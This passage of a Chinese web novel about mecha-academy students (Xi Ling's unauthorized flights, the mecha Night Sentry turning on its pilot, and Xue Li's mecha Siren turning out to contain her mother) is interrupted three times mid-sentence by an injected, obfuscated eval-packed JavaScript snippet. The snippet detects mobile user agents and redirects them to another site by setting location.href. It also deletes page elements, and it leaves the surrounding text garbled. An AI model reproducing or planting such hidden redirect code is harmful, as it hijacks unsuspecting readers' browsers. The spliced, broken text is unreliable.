郗灵放缓了龙姬的飞行速度,全神贯注地盯着雪理掌心里的机甲钮——她能感觉到,雪理和这台机甲之间存在着一种强烈的牵绊,就好像机甲和雪理融为了一体一般。 因此,郗灵没有发现,雪理身上竟然还藏着一枚机甲钮。 她们之间的牵绊太过强烈,气息也太过相似,好比人和自己的影子,亦或者血溶于水的一对母女。 连郗灵和龙姬都没有这样的牵绊,所以,在那枚机甲钮出现之后,郗灵看向雪理的眼神立刻就有些不一样了。 雪理的身上有一个大秘密。 无论是这枚奇怪的机甲钮,还是她脖子上的机化瘢痕,都彰显她身上有着不同寻常的过去。 “沉睡状态?”墨菲听取了郗灵的看法,它用猫爪把那枚机甲钮刨来刨去,从后者身上看不出一点生机,“你也许说得对,但是……即使这台机甲只是在沉睡,它的胚胎活性如此之低,恐怕并不适合成为一台战斗型机甲。” 郗灵好奇地问:“墨菲,我很早就想问了,胚胎到底是什么东西?” 墨菲:“……” 墨菲已经懒得吐槽郗灵上课不听讲这件事情了。 他认命地动了动耳朵,颤动着猫须,道:“胚胎,是我们利用‘白星’的遗传物质创造出来的生命雏形,学名叫作‘生命素体’。在胚胎正式孵化之前,研究院会对胚胎进行筛选,活性最强的培育成战斗型机甲,活性稍弱的培育成家政型、清洁型、服务型机甲,活性指数低于60的,就会被直接销毁,因为它们没有成活的可能。” 雪理把机甲钮捧在心口:“墨菲老师,我可以这么称呼你吗?” 墨菲看向雪理:“可以。” “这枚机甲钮,是母亲留给我的唯一一件遗物。”雪理的手指一点点攥紧机甲钮,“雪家做的是机甲生意,所以,我对机甲也了解一二。我知道,这枚机甲钮的胚胎活性极低,它本来应该是被销毁掉的,但是……我觉得未来有一天,说不定它就会苏醒过来,所以,我瞒过了负责销毁机甲的回收员,一直把它带在了身上。” “你的预感很不错。”墨菲大方地说,“最近,研究院正在准备申请一项新专利,叫作‘机甲唤醒手术’,初衷是把那些因机甲师死亡而陷入沉睡的机甲二次利用,洗去它们的记忆,让它们的脑子重新变成一张白纸,以迎接下一位新主人。” 雪理的睫毛颤了颤。 “这是一项极其不人道的专利,因为机甲虽然没有灵魂,但却有记忆和感情,洗去它们的记忆,就是真的把它们当战争机器在使用——即使它们早已以‘机甲’为名。”墨菲的尾巴摇了摇,“这项手术分为两个部分,第一部分是唤醒,第二部分是洗脑。如果要摘除‘洗脑’的部分,就需要重新采集实验数据,也就是说,我们需要至少二十台陷入沉睡的机甲。” 墨菲把一个机会摆在了雪理面前。 这是一个风险极大的机会——那枚机甲钮是雪理母亲唯一的遗物,如果实验出现了意外,雪理将失去怀念母亲的最后一件东西。 但雪理坚定地把机甲钮推给了墨菲。 “您可以帮帮我吗?墨菲老师。”雪理的态度放得极低,她已经意识到,眼前的墨菲绝不是一只小猫,而是一位大佬在幕后操作,“它的胚胎活性很低,所以手术可能会失败,但是没有关系,我只是想试一试……如果它真的因此死亡了,我也接受这个结果。” “你想好了?”墨菲问。 “我想好了。”雪理重重点头。 “手术需要一个月时间,一个月后,我会把最终结果告诉你。”墨菲的尾巴灵巧地卷走机甲钮,他对这具猫身使用得越来越娴熟了,“当然,我也不是不求回报的大善人,如果手术成功,这台机甲未来的所有驾驶数据,你都要无偿分享给我。” 雪理眼睛一亮:“是!” “我还不知道这台机甲的名字。”墨菲说。 雪理眼神一黯。 “塞壬。”雪理轻轻地说,“这是我的母亲退出歌坛前,创作的最后一首歌曲。” …… 郗灵带着雪理在外面兜了一夜的风,第二天清晨,二人顶着两个黑眼圈,瞌睡连天地爬进了睡眠胶囊。 睡了不到五分钟,教官们黑着脸抵达操场,用铜锣似的大嗓子把新生们叫了起来。 雪理边跑边睡,睡眼迷瞪地跑去洗漱。 郗灵跑到教官面前,把两条完全痊愈的手臂展示给他们看:“我好了!” 教官黑着脸:“所以呢?” “我可以参加体能训练了!” “你训练个锤子。”加西亚上校没好气地拍了郗灵一下,又看了教官一眼,“这家伙需要参加保密任务,整个军训期间,她都可以不用参加训练。” 教官:“?” 教官愣了一下,黝黑的脸上写满了问号。 加西亚推搡着郗灵:“还愣着做什么?走啊,去训练场!” 郗灵跟着加西亚来到一处地面训练场,周围已经清空,许多大大小小的仪器摆在场地周围,每台仪器后面都蹲着一只猫。 郗灵的眼睛一瞬间就睁大了,她用力揉了两下眼睛,怀疑自己是不是一夜没睡,所以困出了幻觉,才看到了无数个猫猫墨菲。 离郗灵最近的墨菲冷哼一声:“你出门没带脑子吗?” 郗灵:“……” 这种欠揍的语气,还是熟悉的配方,还是熟悉的味道。 研究院和军部势同水火,墨菲作为唯一一名常驻在维尔莱德军校的研究员,在非特殊情况下无法调来自己的下属。 他把雪理的机甲“塞壬”送去了研究院,又带回了许多只仿生猫,他经过算力升级后的意识分别投射在这些猫的身体里,如同多出了许多个分身。 加西亚上校负责监督,他老神在在地守在一旁,把机甲钮在手里盘来盘去。 在墨菲的指挥下,郗灵驾驶龙姬,在地面上做出了一些特定动作。 由于上一次测试捅了太大的篓子,所以,本次测试极其保守,郗灵连热身都还没有开始,测试就已经结束了。 “出来吧。”顶着加西亚警惕的目光,墨菲说。 郗灵意犹未尽地吞了一大口母液,她肺中的空气刚刚置换完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233711|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕,那种直接从母液中获取氧分和营养物质的感觉实在是迷人。 她向墨菲请求道:“我可以去天上飞两圈吗?” 加西亚打断了郗灵:“不行!” 郗灵仍不死心:“为什么?” “你昨天晚上飞了一整夜,还非法载人,不给你记过都算不错了。”加西亚快人快语,直接点破了郗灵昨晚干的好事,“校卫队早就发现你了,只是害怕你一个不小心把手里的学生摔下去,才没有打草惊蛇,只是远远地尾随在你身后。” 郗灵:“……” 郗灵自知理亏,不再辩驳,老老实实地脱离驾驶舱,用毛巾一点点擦拭身上没有挥发的母液。 但加西亚前脚刚走,郗灵后脚就飞快爬上了高大的机甲,一个猛子钻进驾驶舱,打开了舱体底部的母液阀门。 墨菲顿时炸毛了:“郗灵!!!” 轰!!! 艳丽的尾焰带着灰白色的气流弥漫在场地中,郗灵驾驶着龙姬,以此生最快的速度窜上了天空。 加西亚远远地看着冲天而起的龙姬,抬起绑在手腕上的光脑,拨通了一个电话。 “欧白白。”加西亚说。 “索兰老师,您找我有什么事吗?”欧白白答。 欧白白那头传来了气流喷射的巨大杂音,她显然在某个机甲训练场中。 “你知道郗灵这个学生吗?”加西亚黑沉着脸盯着龙姬扬长而去的背影,“我有一个不妙的预感,她会是今年新生里最大的刺头。” 欧白白轻笑一声:“她又干什么了?” 这个“又”字极具灵性,欧白白显然对郗灵的性格和事迹了然于心。 “她又违纪飞行了。”加西亚深吸一口气,“昨晚飞了一夜,今天刚采集完数据又飞,她好像怎么也飞不够一样。” “这个年纪的小朋友都很精力旺盛,在我看来,这也许是一件好事,她只需要学会什么是纪律。”欧白白显然和加西亚上校关系不错,“那么,索兰老师,我有什么事情可以帮到您吗?” “今年的首飞示范队人员定下来了吗?” “定了,都是校卫队出身。只是有几个家伙昨夜没睡好,毕竟追了郗灵一夜,她太能飞了。” “让拉文·诺因尼去会会她吧。”加西亚摸了摸下巴,思忖片刻,道,“那小子生性懒怠,只有水平足够的对手才能激起他的胜负欲,正好让他挫一挫郗灵的锐气。” 欧白白诡异地沉默了几秒。 加西亚品出不对劲:“怎么了?他缺勤了?” “他推掉了领飞员的位置,说自己难堪大任,还是让莱茵会长担任更加合适。”欧白白头疼地叹了口气,“但您也知道,会长他……现在根本没办法出席这次首飞任务。” 加西亚:“……” 他忘了,除了郗灵这个没成气候的小刺头,还有个棘手的大刺头等着戳他的肺管子。 “他现在在哪儿?”加西亚问。 “除了会长,没人知道他在哪儿。”欧白白答。 与此同时,郗灵驾驶龙姬飞过海滩,突然被一个坐在礁石上垂钓的青年吸引了注意力。 28. 叛逆的机甲 青年的着装几乎和身下漆黑的礁石融为一体,面容年轻却神色懒怠,那种懒怠不应该出现在一个朝气勃发的青年身上,而是有一条缺乏生命力的灵魂,因此才从内而外散发出这样的气质。 郗灵滑行降落,惊起一片海浪。青年拉低兜帽,拉起了手中垂钓的鱼竿。 当看清青年在用什么东西当饵料时,郗灵的头顶飘过了六个点:“……” 谁家好人用机甲钮当鱼饵啊! 你问过机甲的意见了吗? “啧,又空军了。”青年慢手慢脚地把鱼竿收好,看着站立在浅海区域的雪色机甲,“没见过的机甲啊,你是今年的新生?” 龙姬“噗呲”一声,伴随着微微刺耳的泄压声打开了驾驶舱舱门,几股掺杂着淡红色脊髓液的琥珀色母液从舱门缝隙处流下,仿佛一颗巨大的心脏在缓慢流血。 青年看到机甲表面流淌下来的母液,瞳孔微不可察地一颤。 下一秒,郗灵的脑袋从打开的舱门内探了出来。 “我是今年的新生。”郗灵低头俯视礁石上的青年,“你呢?你是老师还是学生?” 青年的目光停留在龙姬体表的淡红色水痕上,那水痕向下流淌,一路从胸膛延伸至腿部,而后被深至膝盖的海水翻涌着洗涤。 良久,青年仿佛从一段难以挣脱的回忆中苏醒,目光终于放在了郗灵的脸上。 日光刺眼,青年眯起眼睛:“你是谁?” “郗灵。”郗灵老老实实地报上名字。 但出乎郗灵的预料,听到她的回答后,青年平静的脸上骤然露出了被雷劈一样的表情。 他一瞬间卸下了所有的懒怠,扔下了手中的钓竿,把充当鱼饵的机甲钮匆匆往腰上一挂,又壮士断腕一般快速撸下手腕上的光脑扔在礁石上,而后竟然一个猛转身,纵身一跃跳进了大海。 哗啦! 海浪吞噬了青年的背影,青年潜入海中,失去了踪迹。 郗灵:“……” 这个人怎么像在躲瘟神一样躲她? 郗灵灵巧地跳到礁石上,伸手戳了戳青年留下来的鱼竿和光脑,但下一秒,仿佛为了印证郗灵的想法,那只一看就价格不菲的光脑立刻“滴滴”响了起来。 郗灵拿起光脑,左看看,右看看,见青年短时间不会回来了,犹豫片刻后,接通了这个电话。 欧白白虚幻的脸庞从光脑端口中弹了出来:“渡鸦,你快……嗯?” 郗灵捧着光脑:“学姐。” “你怎么和渡鸦待在一起?他现在在哪儿?”欧白白虽然不太明白郗灵那边的状况,但她很快适应了这件事,迅速抓住关键点提问道。 郗灵把镜头转向一望无际的海面:“他跳海了。” 欧白白:“……” 欧白白深吸一口气:“那你呢?你现在在哪儿?” 郗灵观察四周,正要根据周围的参照物报上点位,一只冰冷的手突然扒上了礁石边缘,那个名叫“渡鸦”的青年像一只水鬼一样挣扎着爬了上来。 “呸呸呸!”渡鸦狂吐嘴里的砂石和海水。 郗灵立刻把镜头对准渡鸦:“学姐,他回来了!” “渡鸦!”下一秒,欧白白的尖叫声立刻从光脑中传了过来,“快跑!带上你身边的那个小学妹一起跑!加西亚上校他——他驾驶机甲来抓你们了!” 滴! 通话被强行掐断。 渡鸦和郗灵对视一眼。 下一秒,渡鸦毅然决然地再次纵身跃入大海,郗灵如一只灵巧的蜘蛛爬回龙姬的驾驶舱,驾驶龙姬潜入了海水中。 海底的光线不如海面上明亮,郗灵以最快的速度适应了海水中幽暗的视野,却在下一秒被一个硬邦邦的东西甩了一巴掌。 那个硬邦邦的东西绝不是海洋中的生物,而是冰冷的机械造物。郗灵被这一嘴巴抽得有些懵,但她察觉到对方不是冲着她来的,而是在追逐什么东西的过程中不小心误伤了她。 她定睛一看,而后,再次陷入沉默。 在此之前,名为“渡鸦”的青年把机甲钮挂在鱼钩上当饵料。 而现在形势逆转,被渡鸦当作鱼饵的机甲在海水中释放出巨大的身形,如一条机械巨鲸追逐不干人事的主人,而被追逐的渡鸦如一条灵巧却渺小的黑鱼,在自家机甲的狩猎中疯狂逃窜。 渡鸦从龙姬身边游过,龙姬一抄手抓住了他。 渡鸦:“……” 渡鸦:“你干什咕噜噜噜——” 郗灵来不及回答渡鸦的问题,浑身的寒毛突然竖了起来。 那是从战场上活下来的人才会拥有的直觉,她猛地扭过头,借助龙姬的视野,看到一张巨大的捕捞网大大地撒开,朝自己所在的海域缓缓沉坠下来。 郗灵下意识把渡鸦揣在手心里,三两下游出了捕捞网的捕捞范围。 但下一秒,三枚鱼雷呈三角阵型接踵而至。 郗灵没有接受过任何正式的机甲训练,面对朝她追来的鱼雷,郗灵一时间有些不知道该怎么应对。 她本能地扭头就要逃走,但渡鸦的机甲突然游了过来,而后手心朝鱼雷打开,几枚干扰弹从手心中发射出去,让那三枚鱼雷从龙姬身边险险擦过。 渡鸦的机甲游到龙姬身边,带着些许怒气,把渡鸦从龙姬手里薅了出来,而后打开胸腔处的驾驶舱,把渡鸦一把塞了进去。 咔嚓! 驾驶舱舱门关闭,排水系统启动,舱内海水排出机甲体外,供氧系统开始自动循环。 “夜哨。”漆黑的机甲嗡鸣着说。 它在自我介绍? 郗灵愣了一下:“呃……我叫郗灵?” 龙姬也回应了一声:“嗡。” ——我是龙姬。 机甲夜哨点了点头,而后,它从臂间弹匣里掏出一张捕捞网,哗啦一下抖开,把懵逼状态的龙姬一整个兜了进去。 郗灵:“?” 龙姬:“?” “你们被捕了。”机甲夜哨堪称恶劣地嗡鸣一声,那嗡鸣声竟然如同笑声一般,“主人不是好人,他认识的人自然也不是好人。但加西亚是个好人,你们等着到他面前领罪吧。” 郗灵:“……” 郗灵:“哈???” …… 郗灵老老实实地站在加西亚上校面前:“我错了!” “你错哪儿了?”加西亚恨铁不成钢地瞪视郗灵。 名为“夜哨”的机甲临时反水,把渡鸦和郗灵一网打尽。郗灵也是第一次见到背刺主人的机甲,在她朴素的认知里,机甲和机甲师就像并肩作战的战友一样,世上哪里会有出卖战友的道理? 于是,郗灵诚心诚意地悔过:“我应该先给夜哨一拳,我没料到夜哨和您是一伙儿的。” 以为郗灵嘴里能吐出好话的加西亚:“……” 正在罚做俯卧撑的渡鸦:“……” 旁听作证的欧白白:“……” 加西亚帽檐下的额头冒出两根青筋:“我在说你未经批准,擅自驾驶机甲飞行的事情!” 郗灵恍然大悟。 她迎上加西亚复杂的眼神,态度良好地说道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247863|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错了,加西亚上校。” 立正就要挨打,这个道理她很清楚,既然加西亚上校已经坦明了她的错处,说明对方还没有到盛怒的地步,他只是想要纠正她。 渡鸦一口气做完了五十个俯卧撑,脸不红心不跳的站到郗灵身边,回归了队列:“报告老师,我归队了。” “拉文·诺因尼,领飞的事情,你为什么要推辞?”加西亚问。 “莱茵可以胜任。”渡鸦答。 “他不可以。他请了两个月的病假,在‘机甲联赛’开赛之前,他都不会回来。”加西亚吐出了一个陌生的词语,郗灵因此耳尖动了动。 渡鸦垂下眼睛,既不同意也不反驳。 “……罢了,你不想当就不当吧。这样的好机会,不知道有多少人为此抢破脑袋,你竟然一心只想推掉它。”加西亚叹息一声,朝一旁的欧白白招了招手,“欧白白,你来安排一下这件事。” 加西亚和欧白白低语几句,脸上的表情动了动,目光扫过乖巧立正的郗灵,拍了拍欧白白的肩膀,示意她可以这么做。 加西亚中途离开,欧白白笑眯眯地看着郗灵:“又见面啦,学妹。” 郗灵死鱼眼:“学姐。” “我和加西亚老师商量了一下,既然你不需要参加体能训练,干脆就来首飞队这里训练几天吧。”欧白白温和地看着郗灵。 她比郗灵高出一个头,因此,当她和郗灵说话时,她微微俯低上身,以平视的姿态和郗灵交流:“自由是人类的天性,你并非故意闹事,只是需要学习什么是纪律,什么是规则。但是,如果只发给你一本《学生手册》让你背诵,又太不负责了……所以,接下里的一个月,你愿意暂时跟在我身边吗?” 郗灵看着欧白白的眼睛,发现里面充满了真诚。 她是真心的。 于是,郗灵毫不犹豫地点头:“我愿意,学姐。” 欧白白对郗灵解释道,因为维尔莱德军校是中央星的军事训练基地之一,非特殊情况不可擅自飞行。 她们在第一次见面时,因为宿舍楼突如其来的爆炸,所以没有成功加上好友。但这一次时间充裕,郗灵看着欧白白的号码躺在通讯录里,忍不住伸出手指摸了摸。 中央星是个好地方。 她在这里人生地不熟,但有这样一位学姐为她指点迷津,她很感激。 一个月的时间里,郗灵白天配合墨菲测试机甲性能,或者跑去欧白白那里接受飞行训练,晚上和新生们一起听叶厌青讲机甲理论。 在此期间,雪理表现良好。 将母亲留给她的机甲送去研究院做唤醒手术之后,即使手术结果未知,她却再也没有表现出迷茫和慌张,即使每一次躺进模拟驾驶舱,她的同步率都是雷打不动的0%。 她也是唯一一个同步率低于30%,却还没有退学的人,新生们看向她的目光从一开始的怜悯,变成了如今的敬佩。 ——此人心性极佳,即使同步率是0%,今后也未必不能成就大业。 如今一个月的训练已经结束,明天白天,新生们将要驾驶机甲飞上天空岛。 雪理难得有些失眠,郗灵再次顶风作案,重操非法载人的旧业,捧着雪理在高空上兜风。 突然,墨菲的头像从驾驶屏幕的左下角弹出。 “郗灵,唤醒手术的结果出来了。”墨菲说。 郗灵安静片刻。 她轻声问:“结果怎么样?” “事情有些微妙,电话里说不清楚。”墨菲的回答让郗灵心跳一停,“你在哪里?我们见面说。” 29. 塞壬的秘密 虽然墨菲现在是只猫,当个夜猫子熬熬夜很正常,但雪理的机甲估计不止是“有点微妙”,不然他不会这么急。 郗灵让雪理坐稳,在空中拉出一个漂亮的大回旋,直接甩掉了身后远远跟着的校卫队员,在会面地点平安降落。 雪理体验了一把加强版过山车。 雪理体质不错,抗过载训练也拿了满分,但这个降落的动作一下子猛拉了4、5个G,当她从龙姬的掌心爬下来时,眼前发黑,路也有些走不稳,直接一脚踉跄出去,结结实实地踩了墨菲一脚。 猫猫墨菲正捧着机甲钮研究,被这飞来横祸的一脚踩得花容失色,两个小爪一下没捧住,把那枚机甲钮抛了出去。 郗灵接住机甲钮,发现研究院的人不愧是人均四博士的精英,经过唤醒手术之后,雪理的机甲竟然真的醒了! 她记得雪理给它取名“塞壬”,说这是亡母的最后一首单曲。 她在之后还去星网上搜来听了听,发现这首歌不愧叫做《塞壬》,果真就像神话里用歌声蛊惑水手的海妖一样。 现在,郗灵已经认识了好几台机甲,她对“机甲是活的”这个概念已经深有认知: 龙姬是个又甜又野的醋瓶子,最大的爱好就是去宽敞的地方飞两圈。 飞鸟成熟又稳重,对欧白白离谱的骚操作十分包容,像拿着雪茄的老父亲。 夜哨出手快准狠,该拔刀拔刀,该嘲讽嘲讽,而且有一套自己的判断,如果主人错了,就会毫不犹豫的背刺。 还有现在,郗灵手里的这台机甲,塞壬。 机甲“塞壬”在郗灵手心里动了动,发出了轻柔的、如同细小水泡一样的咕噜声。 是一台很文静的机甲啊。 她想道。 雪理小心地揉着墨菲受伤的尾巴,墨菲勉强原谅了她,小爪在光脑上一顿划拉,把一段视频展示给郗灵她们看。 郗灵定睛一看,发现拍摄地点是一个巨大黑暗的水库,“塞壬”如同一个沉默的巨人浸泡在齐胸高的液体里,淡白色的眼灯照亮了一小片周围的区域,隐约可见呼吸栅口下狰狞的嘴巴。 几个白大褂对“塞壬”进行了各种刺激性的测试,但塞壬都一动不动。 但是,就在视频进度条快要结束的时候,一个白大褂突然很小声地说了句什么,沉默的塞壬突然眼灯大亮,竟然一瞬间挣脱了固定身体的辅助架,巨大的、没有安装拘束装甲的手从水中抬起,伸向了说话的白大褂。 郗灵可以看出,塞壬的动作已经很轻了,但因为巨大的体型,这个动作依然极具压迫感,如同一座大山在面前倾倒。 视频在塞壬抓向白大褂时结束了。 郗灵和雪理同时陷入沉默。 这不是郗灵第一次见到机甲里面的生命素体。 和机械军团的最后一战中,黎缨副官因为长时间暴走陷入昏迷,她的机甲“灰鹞”剥落了大部分拘束装甲,露出了鲜血淋漓的、血肉模糊的身体。 因为是暴力剥落了装甲,“灰鹞”的身体上连皮肤都没有。 郗灵印象最深的,就是黎缨躺进医疗舱时,平躺在地上的灰鹞已经奄奄一息,但它还是拼了命地把眼睛转向黎缨,甚至一度让那只没有眼睑的、艳丽又猩红的眼珠从眼眶里滚了出来,只有一根细细的血管吊着眼球。 那一幕真是恐怖又温情,灰鹞爱黎缨,所以必须亲眼看到黎缨接受治疗才能安心。 但墨菲提供的这个视频里……塞壬的生命素体是有皮肤的! 郗灵回忆塞壬从水中抬起来的那只手——因为环境太过昏暗,只有塞壬的眼灯照亮了一小点地方,但她可以看清,那只巨大的手上有白皙的皮肤和淡粉色的指甲,手腕甚至还有些纤细,简直就像一个放大了许多倍的女人一样。 这时,郗灵终于注意到了雪理的表情。 雪理的表情像被雷劈了一样,写满了困惑、猜疑、若有所思和不敢置信。 郗灵盯着雪理的脸,脑中一遍又一遍回忆那只堪称漂亮的手,视线不着痕迹地落到雪理纤细苍白的手上。 她原本平静的表情一点点沉了下去。 塞壬的手型和腕骨……和雪理的一模一样! 雪理仍然沉浸在自己的思绪中,郗灵和墨菲对视一眼,轻轻地按上了耳朵上的耳麦。 墨菲:【这是我之前感到最奇怪的地方,因为所有机甲都携带着“白星”的遗传物质,胚胎活性不可能低成这鬼样子,除非……里面加了其他不得了的东西。】 郗灵咽了咽唾沫。 塞壬还在她的手上。 她低头看着塞壬,这台文静得近乎文弱的机甲轻柔地晃了晃,如同回应一般,再次发出了小水泡一样柔软的咕噜声。 郗灵的表情彻底严肃了。 她听不懂塞壬的话。 这是她第一次听不懂机甲的话。 塞壬……到底是什么? 塞壬在郗灵手里温柔地摇晃,机甲钮的窍孔对准雪理的脸,仿佛里面的胚胎也一眨不眨地凝视着雪理的表情。 雪理似乎一瞬间想明白了什么,脸上复杂的表情飞快收敛了,那张玻璃一样苍白的脸上很快什么也没有了,就像她平时面对众人一样,没人能看出她的心里在想什么。 墨菲张开猫嘴:“所以,你知道……唔呣呣呣!” 郗灵一个猛子抱起猫猫墨菲,像捏鸭嘴一样用力捏住了他的嘴。 她在钳制墨菲时动作暴躁,却以一种堪称温柔的力道,把机甲塞壬小心地放进了雪理冰凉的手心里。 雪理定定地看着郗灵。 “既然墨菲把塞壬送过来,说明它的驾驶功能没有问题。”墨菲还要挣扎,郗灵把墨菲往身后一揣,直接剥夺了他的发言权,“明天就要首飞了,你打算现在开始补觉,还是和塞壬培养一下感情?” 雪理还是没有说话。 郗灵仰头盯着夜空。 昏暗的云层中,浮空群岛的轮廓隐约可见。 墨菲不再挣扎,他听懂了郗灵的话,并且暂时服从她的安排。 雪理蓝色的眼睛一眨不眨地看着郗灵,她的眼睛大而明亮,像两面打磨得极光滑的镜子。 而后,她低下头,指尖摸了摸机甲钮。 “……我可以借用这里的场地吗?”几人会面的地方,是龙姬日常采集数据的训练场,目前暂时只给研究院使用,所以雪理有此一问,“我还没有真正地驾驶过机甲,我想……试一试。” 墨菲安静如鸡,郗灵品出他默认的意思,这才点头道:“好,需要我回避吗?” 雪理摇摇头,犹豫片刻后,又点点头:“嗯,谢谢你。” 郗灵用最平常的状态对雪理笑了一声,说了几句玩笑话后,把墨菲夹在胳膊下麻溜地离开了。 直到走出很远,郗灵才松开墨菲:“你问吧。” “……不,事到如今,我反而没有什么可问的了。”墨菲灵巧地落到地上,但炸开的背毛仍然显示出他不平静的心情,“谁能想到呢,那个姓雪的男人竟然把自己的妻子——” 墨菲没有说完这句话,出口的话很可能成谶,即使那句话已经是铁打的事实。 雪理的父亲把雪理的母亲炼进了机甲里! 塞壬在某种意义上,是雪理的母亲! “如此一来,雪天青突然撕毁研究院的合同,也说得通了。”墨菲说出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247864|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪理父亲的名字,这个人渣的名字还挺人模人样,“塞壬……唉,我都有些不知道该怎么称呼它了——一个小时前,研究院的那群小兔崽子把机甲检测报告汇报给我,说有好几个地方的数值都不太对劲,我看了许久,发现里面的遗传物质和人类反而更匹配,所以才想着……” 墨菲很少这样欲言又止。 郗灵没有说话。 雪理是个谨慎冷静的女孩儿,却一开始就和她袒露了自己的过去,她知道,向别人揭开自己的伤疤是一件很困难的事,因此,她总是把雪理记挂在心上,以诚相待,正是如此。 故事可以分享,因为故事属于过去。 但现在,郗灵应该把时间和空间留给雪理,雪理和“塞壬”的重逢属于现在,这是只属于她们的故事,郗灵不应该打扰。 她在训练场周围守了一夜,用各种方法不着痕迹地赶走了夜巡的校卫队,不让他们打断雪理和塞壬的相处。 几小时后,白昼降临。 今天是军训的最后一天,也是检阅结果的最后一天。 首飞任务开启后,新生们纷纷释放自己的机甲,有的是自己掏钱定制的,有的是学校统一分配的,各异的装甲上有着不同的涂装。 郗灵驾驶着龙姬,翘着二郎腿托着腮坐在浮空岛月台边缘。 和郗灵混了小一个月的校卫队看得眼皮直跳——这是个高难度动作,机甲师自己做出来并不难,难的是让机甲也做出来,这需要极高的同步率,至少高于60%。 在郗灵的视角里,下方是一望无际的、洁白的云层,而第一个打破云层飞上来的,是负责给新生进行首飞示范的、由学长们组队的首飞队伍。 由渡鸦驾驶的“夜哨”位于领飞位置,远远地看见坐在边缘的龙姬后,那台漆黑的机甲和自己的驾驶员开始左右脑互搏,最终,夜哨成功背刺了它的主人,在离龙姬最近的地方降落了下来。 夜哨弹开驾驶舱舱门,露出渡鸦写满了“认命”的脸。 郗灵:“……呃,哈喽?” 渡鸦看起来很想跑,郗灵搞不明白,自己难道是什么洪水猛兽吗? 夜哨和渡鸦的主从定位似乎完全反了过来,遛完渡鸦之后,夜哨满意地离开了。 于是郗灵在原地继续盯着身下的云层。 新生们陆陆续续地飞了上来。 一台,两台,三台…… 郗灵一直从清晨等到了黄昏,洁白的云层逐渐染上橙黄,太阳像血红的鸽子蛋一样缓缓向下沉落。首飞月的最后一天即将结束,但她还是没有等到雪理飞上来。 连欧白白都闻讯赶来了。 飞鸟托举着欧白白,欧白白隔着龙姬的钢铁胸肌和郗灵说话:“雪理一直没进驾驶舱,和她刚登记的新机甲大眼瞪小眼,瞪了一天了。” 郗灵没说话,她太理解雪理了,雪理要驾驶的可是她亲妈。 但一阵轻柔的破空声打断了二人的对话。 郗灵没有想过,破空声还可以用“轻柔”来形容,机甲升空时必然产生极强的气流,而且,推进器也必然产生极大的动力和噪音,毕竟机甲很沉,每台机甲的重量约在40吨-80吨之间。 但这声音就是如此轻柔,如同涟漪打破平静的水面。 郗灵盯着下方的云层,那云层被夕阳染得通红,如血如火,一台幽蓝的机甲浑身泛着深海般神秘的珠光,如一个静谧的水泡缓缓拨开血红的云朵,从“海底”浮上了“海面”。 那是塞壬,那是雪理的机甲。 龙姬再次换了下二郎腿,看着塞壬安静地落地,张开如少女祈祷般合拢在心口的双手,将手心里的雪理如花苞露出花蕊般亮了出来。 30. 报名 雪理从塞壬手心里跳下来,直奔郗灵而去:“我和……她的同步率不太对劲,所以现在才上来。你等了我很久吗?” 这话有点道歉的意味,而且郗灵能感觉到,雪理对塞壬的感情十分复杂。 不单是驾驶老妈这件事太惊世骇俗,而且,这对母女离别的时间远大于相处,与其说是母女,其实比陌生人还要尴尬。 更何况,雪理的渣爹雪天青能做出把妻子炼成机甲这种事情,雪家估计也是个狼窝子。 郗灵还记得雪理的自我介绍——我是雪家的第三个女儿,我的妈妈是父亲的第四个妻子。 这句话透露出的心理状态已经很不对劲了。 而且,结合雪理母亲的遭遇,郗灵有理由猜测,雪天青和他的几个前妻……大概率不是和平离婚的。 欧白白笑眯眯地看着郗灵和雪理,像看着两只花色漂亮的小猫互相舔毛。 等二人停下话头,欧白白对雪理道:“欢迎加入天空校区,亲爱的学妹。” 雪理大而蓝的眼睛盯了欧白白半晌:“谢谢。” “首飞月结束后,真正的学习才正式开始,你们现在可以开始考虑选专业的事了。”欧白白变魔术一样从身后掏出两本手册,一人一本递给两个学妹。 雪理站着没动。 郗灵接过一本,翻开粗略地看了看,发现每个专业都有同步率要求。 郗灵不知道自己的同步率是多少。 一般来说,驾驶一代机甲时,同步率会通过拘束装甲上的一个外置嵌片实时显示,但龙姬是试作型二代机甲,她的同步率数据只有研究院和军部高层的人知道。 但郗灵对自己的同步率很有自信,而且保底不会低于黎缨副官。 这边,郗灵陷入了短暂的思索。 但雪理显然已经考虑过了,接过手册后翻了两下,手指指着一个专业说:“我选这个。” 欧白白瞄向雪理,郗灵也看向雪理的指尖: ——神经交互与机甲适配工程专业。 “哇塞。”郗灵第一反应是好长一串鸟文。 她把这一串鸟文在脑子里拆解了一下,明白了字面意思,但也只是明白了字面意思。 